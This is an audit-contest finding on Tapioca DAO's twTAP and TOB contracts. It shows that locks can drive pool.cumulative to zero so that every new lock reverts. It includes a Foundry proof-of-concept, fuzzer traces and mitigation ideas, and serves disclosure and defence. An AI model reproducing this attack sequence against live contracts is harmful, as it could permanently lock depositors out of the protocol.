TOB and TwTap Pool.cumulative cap can be abused to break twTAP for all future depositors

[c4-bot-10]

Lines of code

https://github.com/Tapioca-DAO/tap-token/blob/050e666142e61018dbfcba64d295f9c458c69700/contracts/governance/twTAP.sol#L328-L337
https://github.com/Tapioca-DAO/tap-token/blob/050e666142e61018dbfcba64d295f9c458c69700/contracts/governance/twTAP.sol#L314-L315

Vulnerability details

Preamble

The following finding is coded for twTap, but the logic for magnitude and pool.cumulative is shared with TOB, meaning this finding applies to both.

The main difference is that for TOB, early attackers would also gain emissions, whereas for twTAP the attack would be a pure DOS.

In both cases, the following shows how to prevent new users from calling participate

Impact

twTap wants to unlock longer durations over time

It does this via this check:

https://github.com/Tapioca-DAO/tap-token/blob/050e666142e61018dbfcba64d295f9c458c69700/contracts/governance/twTAP.sol#L314-L315

        // Revert if the lock 4x the cumulative
        if (magnitude >= pool.cumulative * 4) revert NotValid();

Because the check uses multiplication, on a value that can be set to 0, we can purposefully combine a few locks to cause it to always revert.

This can be performed with minimal budget by creating low quantity locks with durations that will cause divergence

Preventing new users from participating

This is the minimal setup, but many more are possible and all end up in reverting future locks

• Depositing a normal lock, with a certain magnitude
• When the first lock expires
• Create a new set of locks with divergent force, to drive the pool.cumulative to a value that is below Lock 1
• We can then releaseTap on the first lock
• And achieve a 0 pool.cumulative
• New locks can no longer be created

POC

This POC is built via the Recon starter, full code is made available (via invite) here:
https://github.com/GalloDaSballo/math-tester-fixed

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {TargetFunctions} from "./TargetFunctions.sol";
import {FoundryAsserts} from "@chimera/FoundryAsserts.sol";

contract CryticToFoundry is Test, TargetFunctions, FoundryAsserts {
    function setUp() public {
        setup();
    }

    function testDemo() public {
        vm.warp(17868248);
        TwTAP_participate(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF, 61918091110726083752813338766276191038263083433366584018688591674621790705619, 2361016);
        vm.warp(31590648);
        TwTAP_participate(0x4200000000000000000000000000000000000000, 32172841401752504929929596747405730936747446706072364556831924065220547509282, 10400);
        vm.warp(31590648);
        TwTAP_exitPosition(11155120, 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF);
        console2.log("twTap.getCumulative()", twTap.getCumulative());

        // if (magnitude >= pool.cumulative * 4) revert NotValid();
        // We permanently disabled twTap
        vm.expectRevert(); // revert NotValid();
        twTap.participate(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF, 1234, 14 days);
    }
}

Logs from Medusa

l Sequence]
ryticTester.TwTAP_participate(0xffffffffffffffffffffffffffffffffffffffff, 61918091110726083752813338766276191038263083433366584018688591674621790705619, 2361016) (block=28082, time=17868248, gas=12500000, gasprice=1, value=0, sender=0x0000000000000000000000000000000000030000)
ryticTester.TwTAP_participate(0x4200000000000000000000000000000000000000, 32172841401752504929929596747405730936747446706072364556831924065220547509282, 10400) (block=49048, time=31590648, gas=12500000, gasprice=1, value=0, sender=0x0000000000000000000000000000000000020000)
ryticTester.TwTAP_exitPosition(11155120, 0xffffffffffffffffffffffffffffffffffffffff) (block=49048, time=31590648, gas=12500000, gasprice=1, value=0, sender=0x0000000000000000000000000000000000010000)
cution Trace]
[call] CryticTester.TwTAP_exitPosition(11155120, 0xffffffffffffffffffffffffffffffffffffffff) (addr=0xA647ff3c36cFab592509E13860ab8c4F28781a66, value=0, sender=0x0000000000000000000000000000000000010000)
 [call] TwTAP.exitPosition(1, 0xffffffffffffffffffffffffffffffffffffffff) (addr=0x01375317AA980daaBF22f990a378ECCaD9B40dc0, value=0, sender=0xA647ff3c36cFab592509E13860ab8c4F28781a66)
> [event] AMLDivergence(0, 954446, 1)
> [call] TapToken.transfer(0xffffffffffffffffffffffffffffffffffffffff, 12719283591674621790705619) (addr=0x54919A19522Ce7c842E25735a9cFEcef1c0a06dA, value=0, sender=0x01375317AA980daaBF22f990a378ECCaD9B40dc0)
=> [event] Transfer(0x01375317aa980daabf22f990a378eccad9b40dc0, 0xffffffffffffffffffffffffffffffffffffffff, 12719283591674621790705619)
=> [return (true)]
> [event] ExitPosition(1, 12719283591674621790705619)
> [return (12719283591674621790705619)]
 [return ()]

Mitigation Steps

There's 2 aspects to consider:

1. the cumulative needs to have some minimum value
2. Adding a hardcoded minimum value creates other race condition / ordering considerations that may be further exploitable
3. The check itself is simply meant to slow down the maximum lock duration at one time, it may be worth instead capping the contribution of said lock to the pool average, as a means to allow long locks, but disallow them from moving the average too high
4. The logic for twTAP would benefit by being simplified further as I believe more edge cases may be available

Assessed type

Math

[c4-judge]

dmvt marked the issue as duplicate of #165

[c4-judge]

dmvt marked the issue as not a duplicate

[c4-judge]

dmvt marked the issue as duplicate of #107